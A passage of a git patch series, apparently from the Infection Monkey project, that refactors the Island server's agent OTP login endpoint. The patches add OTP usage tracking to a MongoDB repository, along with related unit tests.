response.status_code == HTTPStatus.BAD_REQUEST def test_unauthorized(agent_otp_login): # TODO: Update this test when OTP validation is implemented. response = agent_otp_login({"agent_id": AGENT_ID, "otp": ""}) - assert response.status_code == 401 + assert response.status_code == HTTPStatus.UNAUTHORIZED def test_unexpected_error(mock_authentication_facade, agent_otp_login): mock_authentication_facade.generate_refresh_token.side_effect = Exception("Unexpected error") response = agent_otp_login({"agent_id": AGENT_ID, "otp": "password"}) - assert response.status_code == 500 + assert response.status_code == HTTPStatus.INTERNAL_SERVER_ERROR From 30dccc2b223a0d92232db788ab2171969f7e8aa5 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 5 Apr 2023 09:31:40 -0400 Subject: [PATCH 1113/1338] Island: Reduce indentation in AgentOTPLogin --- .../flask_resources/agent_otp_login.py | 38 +++++++++---------- 1 file changed, 19 insertions(+), 19 deletions(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp_login.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp_login.py index 35b8e4e9e92..82516a2a95c 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp_login.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp_login.py @@ -55,30 +55,30 @@ def post(self): except TypeError: return make_response("Could not parse the login request", HTTPStatus.BAD_REQUEST) - if self._validate_otp(otp): - agent_user = register_user( - RegisterForm( - username=str(agent_id), - password=secure_generate_random_string(32, string.printable), - roles=[AccountRole.AGENT.name], - ) + if not self._validate_otp(otp): + return make_response({}, HTTPStatus.UNAUTHORIZED) + + agent_user = register_user( + RegisterForm( + username=str(agent_id), + password=secure_generate_random_string(32, string.printable), + roles=[AccountRole.AGENT.name], ) + ) - auth_token = agent_user.get_auth_token() - refresh_token = self._authentication_facade.generate_refresh_token(agent_user) + auth_token = agent_user.get_auth_token() + refresh_token = self._authentication_facade.generate_refresh_token(agent_user) - return make_response( - { - "response": { - "user": { - ACCESS_TOKEN_KEY_NAME: auth_token, - REFRESH_TOKEN_KEY_NAME: refresh_token, - } + return make_response( + { + "response": { + "user": { + ACCESS_TOKEN_KEY_NAME: auth_token, + REFRESH_TOKEN_KEY_NAME: refresh_token, } } - ) - - return make_response({}, HTTPStatus.UNAUTHORIZED) + } + ) def _validate_otp(self, otp: OTP): return len(otp) > 0 From 99fce46f4a5745018e1a1adee04bc5b698915583 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 5 Apr 2023 19:19:56 +0530 Subject: [PATCH 1114/1338] Island: Fix AgentOTPLogin POST docstring --- .../authentication_service/flask_resources/agent_otp_login.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp_login.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp_login.py index 82516a2a95c..29f9aa4bf98 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp_login.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp_login.py @@ -33,8 +33,7 @@ def post(self): and returns an authentication token and a refresh token for a particular Agent - :param agent_id: The ID of the Agent trying to log in - :return: Authentication token in the response body + :return: Authentication token and refresh token in the response body """ try: try: From 93fc73aab144f2fb9cc306be006f42630ec416ba Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 5 Apr 2023 19:46:24 +0530 Subject: [PATCH 1115/1338] Island: Refactor AgentOTPLogin resource so it's easier to read --- .../flask_resources/agent_otp_login.py | 43 +++++++++++-------- 1 file changed, 26 insertions(+), 17 deletions(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp_login.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp_login.py index 29f9aa4bf98..ed8bf103f26 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp_login.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp_login.py @@ -1,5 +1,6 @@ import string from http import HTTPStatus +from typing import Tuple from flask import make_response, request from flask_security import RegisterForm @@ -36,23 +37,9 @@ def post(self): :return: Authentication token and refresh token in the response body """ try: - try: - agent_id_argument = request.json["agent_id"] - agent_id = AgentID(agent_id_argument) - except ValueError as err: - return make_response( - f'Invalid agent ID "{agent_id_argument}": {err}', HTTPStatus.BAD_REQUEST - ) - - try: - otp_argument = request.json["otp"] - otp = OTP(otp_argument) - except ValueError as err: - return make_response(f'Invalid OTP "{otp_argument}": {err}', HTTPStatus.BAD_REQUEST) - except KeyError as err: - return make_response(f"Missing argument {err}", HTTPStatus.BAD_REQUEST) - except TypeError: - return make_response("Could not parse the login request", HTTPStatus.BAD_REQUEST) + agent_id, otp = self._get_request_arguments(request.json) + except Exception as err: + return make_response(str(err), HTTPStatus.BAD_REQUEST) if not self._validate_otp(otp): return make_response({}, HTTPStatus.UNAUTHORIZED) @@ -79,5 +66,27 @@ def post(self): } ) + def _get_request_arguments(self, request_data) -> Tuple[AgentID, OTP]: + try: + try: + agent_id_argument = request_data["agent_id"] + agent_id = AgentID(agent_id_argument) + except ValueError as err: + raise ValueError(f'Invalid Agent ID "{agent_id_argument}": {err}') + + try: + otp_argument = request_data["otp"] + otp = OTP(otp_argument) + except ValueError as err: + raise ValueError(f'Invalid OTP "{otp_argument}": {err}') + + except KeyError as err: + raise KeyError(f"Missing argument: {err}") + + except TypeError: + raise TypeError("Could not parse the login request") + + return agent_id, otp + def _validate_otp(self, otp: OTP): return len(otp) > 0 From 5595e4317ff412af270891bdc9d1871926da327b Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 5 Apr 2023 11:37:40 -0400 Subject: [PATCH 1116/1338] Island: Use ArgumentParsingException in AgentOTPLogin --- .../flask_resources/agent_otp_login.py | 16 +++++++++------- 1 file changed, 9 insertions(+), 7 deletions(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp_login.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp_login.py index ed8bf103f26..1849f650180 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp_login.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp_login.py @@ -16,6 +16,10 @@ from ..types import OTP +class ArgumentParsingException(Exception): + pass + + class AgentOTPLogin(AbstractResource): """ A resource for logging in using an OTP @@ -38,7 +42,7 @@ def post(self): """ try: agent_id, otp = self._get_request_arguments(request.json) - except Exception as err: + except ArgumentParsingException as err: return make_response(str(err), HTTPStatus.BAD_REQUEST) if not self._validate_otp(otp): @@ -72,19 +76,17 @@ def _get_request_arguments(self, request_data) -> Tuple[AgentID, OTP]: agent_id_argument = request_data["agent_id"] agent_id = AgentID(agent_id_argument) except ValueError as err: - raise ValueError(f'Invalid Agent ID "{agent_id_argument}": {err}') + raise ArgumentParsingException(f'Invalid Agent ID "{agent_id_argument}": {err}') try: otp_argument = request_data["otp"] otp = OTP(otp_argument) except ValueError as err: - raise ValueError(f'Invalid OTP "{otp_argument}": {err}') - + raise ArgumentParsingException(f'Invalid OTP "{otp_argument}": {err}') except KeyError as err: - raise KeyError(f"Missing argument: {err}") - + raise ArgumentParsingException(f"Missing argument: {err}") except TypeError: - raise TypeError("Could not parse the login request") + raise ArgumentParsingException("Could not parse the login request") return agent_id, otp From 453de372dd048b500c629e3c5031fa66f0d20fb5 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 5 Apr 2023 11:46:39 -0400 Subject: [PATCH 1117/1338] Island: Narrow password character set for Agent users It's probably a bad idea to include certain whitespace characters in the password field. Even though this password should never be used, I'm not sure whether or not Flask Security or Flask Login would be expecting such inputs. --- .../authentication_service/flask_resources/agent_otp_login.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp_login.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp_login.py index 1849f650180..9d3514f593e 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp_login.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp_login.py @@ -51,7 +51,9 @@ def post(self): agent_user = register_user( RegisterForm( username=str(agent_id), - password=secure_generate_random_string(32, string.printable), + password=secure_generate_random_string( + 32, string.digits + string.ascii_letters + string.punctuation + ), roles=[AccountRole.AGENT.name], ) ) From 8a07fc3699a365775b1924d6f31596027d3111eb Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 5 Apr 2023 11:51:21 -0400 Subject: [PATCH 1118/1338] Island: Fix formatting in agent_otp.py --- .../services/authentication_service/flask_resources/agent_otp.py | 1 - 1 file changed, 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp.py index 656d54c8b36..88a5ed49249 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp.py @@ -9,7 +9,6 @@ from ..i_otp_generator import IOTPGenerator - MAX_OTP_REQUESTS_PER_SECOND = 50 From 9670255435bb9a972300c6d9afd1994f99593fb4 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 5 Apr 2023 17:05:12 +0530 Subject: [PATCH 1119/1338] Island: Add IOTPRepository.update_otp() --- .../authentication_service/i_otp_repository.py | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/monkey/monkey_island/cc/services/authentication_service/i_otp_repository.py b/monkey/monkey_island/cc/services/authentication_service/i_otp_repository.py index 65119fb1bbe..603d55f433a 100644 --- a/monkey/monkey_island/cc/services/authentication_service/i_otp_repository.py +++ b/monkey/monkey_island/cc/services/authentication_service/i_otp_repository.py @@ -16,6 +16,16 @@ def insert_otp(self, otp: OTP, expiration: float): :raises StorageError: If an error occurs while attempting to insert the OTP """ + @abstractmethod + def update_otp(self, otp: OTP, **kwargs): + """ + Update an OTP in the repository + + :param otp: The OTP to update + :param **kwargs: The fields to update + :raises StorageError: If an error occurs while attempting to update the OTP + """ + @abstractmethod def get_expiration(self, otp: OTP) -> float: """ From ca58d5f6a602c994f129e1515008645df1c168c2 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 5 Apr 2023 17:07:48 +0530 Subject: [PATCH 1120/1338] Island: Implement MongoOTPRepository.update_otp() --- .../mongo_otp_repository.py | 17 +++++++++++++---- 1 file changed, 13 insertions(+), 4 deletions(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/mongo_otp_repository.py b/monkey/monkey_island/cc/services/authentication_service/mongo_otp_repository.py index 36df94f2d99..16cde559947 100644 --- a/monkey/monkey_island/cc/services/authentication_service/mongo_otp_repository.py +++ b/monkey/monkey_island/cc/services/authentication_service/mongo_otp_repository.py @@ -26,9 +26,18 @@ def __init__( def insert_otp(self, otp: OTP, expiration: float): try: encrypted_otp = self._encryptor.encrypt(otp.encode()) - self._otp_collection.insert_one({"otp": encrypted_otp, "expiration_time": expiration}) + self._otp_collection.insert_one( + {"otp": encrypted_otp, "expiration_time": expiration, "used": False} + ) + except Exception as err: + raise StorageError(f"Error inserting OTP: {err}") + + def update_otp(self, otp: OTP, **kwargs): + try: + encrypted_otp = self._encryptor.encrypt(otp.encode()) + self._otp_collection.update_one({"otp": encrypted_otp}, {"$set": kwargs}) except Exception as err: - raise StorageError(f"Error updating otp: {err}") + raise StorageError(f"Error updating OTP: {err}") def get_expiration(self, otp: OTP) -> float: try: @@ -37,7 +46,7 @@ def get_expiration(self, otp: OTP) -> float: {"otp": encrypted_otp}, {MONGO_OBJECT_ID_KEY: False} ) except Exception as err: - raise RetrievalError(f"Error retrieving otp: {err}") + raise RetrievalError(f"Error retrieving OTP: {err}") if otp_dict is None: raise UnknownRecordError("OTP not found") @@ -47,4 +56,4 @@ def reset(self): try: self._otp_collection.drop() except Exception as err: - raise RemovalError(f"Error resetting the repository: {err}") + raise RemovalError(f"Error resetting the OTP repository: {err}") From a70678e62088a7fd8b7a331722c82092d3afc00d Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 5 Apr 2023 17:10:35 +0530 Subject: [PATCH 1121/1338] Island: Add AuthenticationFacade.mark_otp_as_used() --- .../services/authentication_service/authentication_facade.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py b/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py index 8164ba09534..d521fa977ec 100644 --- a/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py +++ b/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py @@ -97,6 +97,9 @@ def generate_refresh_token(self, user: User) -> Token: """ return self._token_generator.generate_token(user.fs_uniquifier) + def mark_otp_as_used(self, otp: OTP): + self._otp_repository.update_otp(otp, {"used": True}) + def revoke_all_tokens_for_all_users(self): """ Revokes all tokens for all users From e1db46345e8b22a441b059381090a5de41aacfd2 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 5 Apr 2023 17:53:45 +0530 Subject: [PATCH 1122/1338] Island: Add IOTPRepository.otp_is_used() --- .../authentication_service/i_otp_repository.py | 13 ++++++++++++- 1 file changed, 12 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/i_otp_repository.py b/monkey/monkey_island/cc/services/authentication_service/i_otp_repository.py index 603d55f433a..d78d88b8e23 100644 --- a/monkey/monkey_island/cc/services/authentication_service/i_otp_repository.py +++ b/monkey/monkey_island/cc/services/authentication_service/i_otp_repository.py @@ -31,12 +31,23 @@ def get_expiration(self, otp: OTP) -> float: """ Get the expiration time of a given OTP - :param otp: OTP for which to get the expiration time + :param otp: The OTP for which to get the expiration time :return: The time that the OTP expires :raises RetrievalError: If an error occurs while attempting to retrieve the expiration time :raises UnknownRecordError: If the OTP was not found """ + @abstractmethod + def otp_is_used(self, otp: OTP) -> bool: + """ + Check if the OTP has already been used + + :param otp: The OTP to check + :return: Whether the OTP has been used + :raises RetrievalError: If an error occurs while attempting to retrieve the OTP's usage + :raises UnknownRecordError: If the OTP was not found + """ + @abstractmethod def reset(self): """ From 2b83028c83c5f8c2c287e492e3869910a96336ae Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 5 Apr 2023 17:55:15 +0530 Subject: [PATCH 1123/1338] Island: Add MongoOTPRepository.otp_is_used() --- .../authentication_service/mongo_otp_repository.py | 14 ++++++++++++++ 1 file changed, 14 insertions(+) diff --git a/monkey/monkey_island/cc/services/authentication_service/mongo_otp_repository.py b/monkey/monkey_island/cc/services/authentication_service/mongo_otp_repository.py index 16cde559947..235b6334e86 100644 --- a/monkey/monkey_island/cc/services/authentication_service/mongo_otp_repository.py +++ b/monkey/monkey_island/cc/services/authentication_service/mongo_otp_repository.py @@ -52,6 +52,20 @@ def get_expiration(self, otp: OTP) -> float: raise UnknownRecordError("OTP not found") return otp_dict["expiration_time"] + def otp_is_used(self, otp: OTP) -> bool: + try: + encrypted_otp = self._encryptor.encrypt(otp.encode()) + otp_dict = self._otp_collection.find_one( + {"otp": encrypted_otp}, {MONGO_OBJECT_ID_KEY: False} + ) + except Exception as err: + raise RetrievalError(f"Error retrieving OTP: {err}") + + if otp_dict is None: + raise UnknownRecordError("OTP not found") + + return otp_dict["used"] + def reset(self): try: self._otp_collection.drop() From f456b8efc11bdd1125bb0c475f50edde21b29dec Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 5 Apr 2023 17:59:37 +0530 Subject: [PATCH 1124/1338] Island: Reduce duplication in MongoOTPRepository --- .../mongo_otp_repository.py | 19 ++++++++----------- 1 file changed, 8 insertions(+), 11 deletions(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/mongo_otp_repository.py b/monkey/monkey_island/cc/services/authentication_service/mongo_otp_repository.py index 235b6334e86..ecc26464cd1 100644 --- a/monkey/monkey_island/cc/services/authentication_service/mongo_otp_repository.py +++ b/monkey/monkey_island/cc/services/authentication_service/mongo_otp_repository.py @@ -1,3 +1,5 @@ +from typing import Any, Mapping + from pymongo import MongoClient from monkey_island.cc.repositories import ( @@ -40,19 +42,14 @@ def update_otp(self, otp: OTP, **kwargs): raise StorageError(f"Error updating OTP: {err}") def get_expiration(self, otp: OTP) -> float: - try: - encrypted_otp = self._encryptor.encrypt(otp.encode()) - otp_dict = self._otp_collection.find_one( - {"otp": encrypted_otp}, {MONGO_OBJECT_ID_KEY: False} - ) - except Exception as err: - raise RetrievalError(f"Error retrieving OTP: {err}") - - if otp_dict is None: - raise UnknownRecordError("OTP not found") + otp_dict = self._get_otp_document(otp) return otp_dict["expiration_time"] def otp_is_used(self, otp: OTP) -> bool: + otp_dict = self._get_otp_document(otp) + return otp_dict["used"] + + def _get_otp_document(self, otp: OTP) -> Mapping[str, Any]: try: encrypted_otp = self._encryptor.encrypt(otp.encode()) otp_dict = self._otp_collection.find_one( @@ -64,7 +61,7 @@ def otp_is_used(self, otp: OTP) -> bool: if otp_dict is None: raise UnknownRecordError("OTP not found") - return otp_dict["used"] + return otp_dict def reset(self): try: From d5aa355804503b835c7acf56e1ffb0d2f6c26f80 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 5 Apr 2023 18:02:24 +0530 Subject: [PATCH 1125/1338] Island: Reorder methods in AuthenticationFacade So that similar methods are close to each other --- .../authentication_facade.py | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py b/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py index d521fa977ec..963c858488d 100644 --- a/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py +++ b/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py @@ -57,6 +57,13 @@ def revoke_all_tokens_for_user(self, user: User): """ self._datastore.set_uniquifier(user) + def revoke_all_tokens_for_all_users(self): + """ + Revokes all tokens for all users + """ + for user in User.objects: + self.revoke_all_tokens_for_user(user) + def generate_new_token_pair(self, refresh_token: Token) -> Tuple[Token, Token]: """ Generates a new access token and refresh, given a valid refresh token @@ -100,13 +107,6 @@ def generate_refresh_token(self, user: User) -> Token: def mark_otp_as_used(self, otp: OTP): self._otp_repository.update_otp(otp, {"used": True}) - def revoke_all_tokens_for_all_users(self): - """ - Revokes all tokens for all users - """ - for user in User.objects: - self.revoke_all_tokens_for_user(user) - def handle_successful_registration(self, username: str, password: str): self._reset_island_data() self._reset_repository_encryptor(username, password) From 35934c6298485b2bfaa64cfff087e6391342f12b Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 5 Apr 2023 18:10:06 +0530 Subject: [PATCH 1126/1338] Island: Add AuthenticationFacade.otp_is_valid() --- .../authentication_service/authentication_facade.py | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py b/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py index 963c858488d..39a0723a88d 100644 --- a/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py +++ b/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py @@ -107,6 +107,15 @@ def generate_refresh_token(self, user: User) -> Token: def mark_otp_as_used(self, otp: OTP): self._otp_repository.update_otp(otp, {"used": True}) + def otp_is_valid(self, otp: OTP) -> bool: + otp_is_used = self._otp_repository.otp_is_used(otp) + expiration_time = self._otp_repository.get_expiration(otp) + + if otp_is_used or expiration_time < time.monotonic(): + return False + + return True + def handle_successful_registration(self, username: str, password: str): self._reset_island_data() self._reset_repository_encryptor(username, password) From 2e4c80876fe040e8e8e0713695515ce8e6518f07 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 5 Apr 2023 19:07:56 +0530 Subject: [PATCH 1127/1338] UT: Add tests for OTP functions in AuthenticationFacade --- .../test_authentication_service.py | 44 +++++++++++++++++++ 1 file changed, 44 insertions(+) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py index 42e0d23c588..fbab90f3972 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py @@ -211,6 +211,50 @@ def test_generate_otp__uses_expected_expiration_time( assert expiration_time == expected_expiration_time +def test_mark_otp_as_used( + authentication_facade: AuthenticationFacade, mock_otp_repository: IOTPRepository +): + otp = "secret" + authentication_facade.mark_otp_as_used(otp) + + assert mock_otp_repository.update_otp.called_once_with(otp, {"used": True}) + + +TIME = "2020-01-01 00:00:00" +TIME_FLOAT = 1577836800.0 + + +@pytest.mark.parametrize( + "otp_is_used_return_value, get_expiration_return_value, otp_is_valid_expected_value", + [ + (False, TIME_FLOAT - 1, False), # not used, after expiration time + (True, TIME_FLOAT - 1, False), # used, after expiration time + (False, TIME_FLOAT, True), # not used, at expiration time + (True, TIME_FLOAT, False), # used, at expiration time + (False, TIME_FLOAT + 1, True), # not used, before expiration time + (True, TIME_FLOAT + 1, False), # used, before expiration time + ], +) +def test_otp_is_valid( + authentication_facade: AuthenticationFacade, + mock_otp_repository: IOTPRepository, + freezer, + otp_is_used_return_value: bool, + get_expiration_return_value: int, + otp_is_valid_expected_value: bool, +): + otp = "secret" + + freezer.move_to(TIME) + + mock_otp_repository.otp_is_used.return_value = otp_is_used_return_value + mock_otp_repository.get_expiration.return_value = get_expiration_return_value + + assert authentication_facade.otp_is_valid(otp) == otp_is_valid_expected_value + assert mock_otp_repository.otp_is_used.called_once_with(otp) + assert mock_otp_repository.get_expiration.called_once_with(otp) + + # mongomock.MongoClient is not a pymongo.MongoClient. This class allows us to register a # mongomock.MongoClient as a pymongo.MongoClient with the StubDIContainer. class MockMongoClient(mongomock.MongoClient, pymongo.MongoClient): From d723c51d641d5e87c1cabdc0d52ffa674743b195 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 5 Apr 2023 12:10:28 -0400 Subject: [PATCH 1128/1338] Island: Cache object IDs in MongoOTPRepository This will prevent unnecessary encryption operations and speed up other operations in this repository. --- .../mongo_otp_repository.py | 22 ++++++++++++++++--- 1 file changed, 19 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/mongo_otp_repository.py b/monkey/monkey_island/cc/services/authentication_service/mongo_otp_repository.py index ecc26464cd1..e8dd2959200 100644 --- a/monkey/monkey_island/cc/services/authentication_service/mongo_otp_repository.py +++ b/monkey/monkey_island/cc/services/authentication_service/mongo_otp_repository.py @@ -1,5 +1,7 @@ +from functools import lru_cache from typing import Any, Mapping +from bson.objectid import ObjectId from pymongo import MongoClient from monkey_island.cc.repositories import ( @@ -50,19 +52,33 @@ def otp_is_used(self, otp: OTP) -> bool: return otp_dict["used"] def _get_otp_document(self, otp: OTP) -> Mapping[str, Any]: + otp_object_id = self._get_otp_object_id(otp) + try: - encrypted_otp = self._encryptor.encrypt(otp.encode()) otp_dict = self._otp_collection.find_one( - {"otp": encrypted_otp}, {MONGO_OBJECT_ID_KEY: False} + {"_id": otp_object_id}, {MONGO_OBJECT_ID_KEY: False} ) except Exception as err: raise RetrievalError(f"Error retrieving OTP: {err}") if otp_dict is None: - raise UnknownRecordError("OTP not found") + raise RetrievalError(f"Error retrieving OTP {otp} with ID {otp_object_id}") return otp_dict + @lru_cache + def _get_otp_object_id(self, otp: OTP) -> ObjectId: + try: + encrypted_otp = self._encryptor.encrypt(otp.encode()) + otp_dict = self._otp_collection.find_one({"otp": encrypted_otp}, [MONGO_OBJECT_ID_KEY]) + except Exception as err: + raise RetrievalError(f"Error retrieving OTP: {err}") + + if otp_dict is None: + raise UnknownRecordError("OTP not found") + + return otp_dict[MONGO_OBJECT_ID_KEY] + def reset(self): try: self._otp_collection.drop() From aad423332d352469c18fd077dff38042c67b86e3 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 5 Apr 2023 12:51:20 -0400 Subject: [PATCH 1129/1338] Island: Change IOTPRepository.update_otp() -> set_used() The only mutable property on the OTP is whether or not it's been used. Limit the interface to allow mutating only this mutable property. --- .../authentication_facade.py | 2 +- .../i_otp_repository.py | 5 ++--- .../mongo_otp_repository.py | 4 ++-- .../test_authentication_service.py | 2 +- .../test_mongo_otp_repository.py | 21 +++++++++++++++++-- 5 files changed, 25 insertions(+), 9 deletions(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py b/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py index 39a0723a88d..ffdbdebfc22 100644 --- a/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py +++ b/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py @@ -105,7 +105,7 @@ def generate_refresh_token(self, user: User) -> Token: return self._token_generator.generate_token(user.fs_uniquifier) def mark_otp_as_used(self, otp: OTP): - self._otp_repository.update_otp(otp, {"used": True}) + self._otp_repository.set_used(otp) def otp_is_valid(self, otp: OTP) -> bool: otp_is_used = self._otp_repository.otp_is_used(otp) diff --git a/monkey/monkey_island/cc/services/authentication_service/i_otp_repository.py b/monkey/monkey_island/cc/services/authentication_service/i_otp_repository.py index d78d88b8e23..b42b52a8d98 100644 --- a/monkey/monkey_island/cc/services/authentication_service/i_otp_repository.py +++ b/monkey/monkey_island/cc/services/authentication_service/i_otp_repository.py @@ -17,12 +17,11 @@ def insert_otp(self, otp: OTP, expiration: float): """ @abstractmethod - def update_otp(self, otp: OTP, **kwargs): + def set_used(self, otp: OTP): """ Update an OTP in the repository - :param otp: The OTP to update - :param **kwargs: The fields to update + :param otp: The OTP set as "used" :raises StorageError: If an error occurs while attempting to update the OTP """ diff --git a/monkey/monkey_island/cc/services/authentication_service/mongo_otp_repository.py b/monkey/monkey_island/cc/services/authentication_service/mongo_otp_repository.py index e8dd2959200..1f721c4cff7 100644 --- a/monkey/monkey_island/cc/services/authentication_service/mongo_otp_repository.py +++ b/monkey/monkey_island/cc/services/authentication_service/mongo_otp_repository.py @@ -36,10 +36,10 @@ def insert_otp(self, otp: OTP, expiration: float): except Exception as err: raise StorageError(f"Error inserting OTP: {err}") - def update_otp(self, otp: OTP, **kwargs): + def set_used(self, otp: OTP): try: encrypted_otp = self._encryptor.encrypt(otp.encode()) - self._otp_collection.update_one({"otp": encrypted_otp}, {"$set": kwargs}) + self._otp_collection.update_one({"otp": encrypted_otp}, {"$set": {"used": True}}) except Exception as err: raise StorageError(f"Error updating OTP: {err}") diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py index fbab90f3972..341ae477efb 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py @@ -217,7 +217,7 @@ def test_mark_otp_as_used( otp = "secret" authentication_facade.mark_otp_as_used(otp) - assert mock_otp_repository.update_otp.called_once_with(otp, {"used": True}) + assert mock_otp_repository.set_used.called_once_with(otp) TIME = "2020-01-01 00:00:00" diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_mongo_otp_repository.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_mongo_otp_repository.py index d3c198a1079..3dbee6f43d8 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_mongo_otp_repository.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_mongo_otp_repository.py @@ -10,6 +10,7 @@ StorageError, UnknownRecordError, ) +from monkey_island.cc.server_utils.encryption import ILockableEncryptor from monkey_island.cc.services.authentication_service.i_otp_repository import IOTPRepository from monkey_island.cc.services.authentication_service.mongo_otp_repository import MongoOTPRepository @@ -28,8 +29,15 @@ class OTP: @pytest.fixture -def otp_repository(repository_encryptor) -> IOTPRepository: - return MongoOTPRepository(mongomock.MongoClient(), repository_encryptor) +def mongo_client() -> mongomock.MongoClient: + return mongomock.MongoClient() + + +@pytest.fixture +def otp_repository( + mongo_client: mongomock.MongoClient, repository_encryptor: ILockableEncryptor +) -> IOTPRepository: + return MongoOTPRepository(mongo_client, repository_encryptor) @pytest.fixture @@ -111,3 +119,12 @@ def test_reset__deletes_all_otp(otp_repository: IOTPRepository): def test_reset__raises_removal_error_if_error_occurs(error_raising_otp_repository: IOTPRepository): with pytest.raises(RemovalError): error_raising_otp_repository.reset() + + +def test_set_used(otp_repository: IOTPRepository): + otp = "test_otp" + otp_repository.insert_otp(otp, 1) + assert not otp_repository.otp_is_used(otp) + + otp_repository.set_used(otp) + assert otp_repository.otp_is_used(otp) From 21b30b6ad62bba6306c38e86ee04dcaaec8b42ce Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 5 Apr 2023 12:55:19 -0400 Subject: [PATCH 1130/1338] UT: Add test_set_used__storage_error() --- .../authentication_service/test_mongo_otp_repository.py | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_mongo_otp_repository.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_mongo_otp_repository.py index 3dbee6f43d8..25a70bcc794 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_mongo_otp_repository.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_mongo_otp_repository.py @@ -46,6 +46,7 @@ def error_raising_mongo_client() -> mongomock.MongoClient: client.monkey_island = MagicMock(spec=mongomock.Database) client.monkey_island.otp = 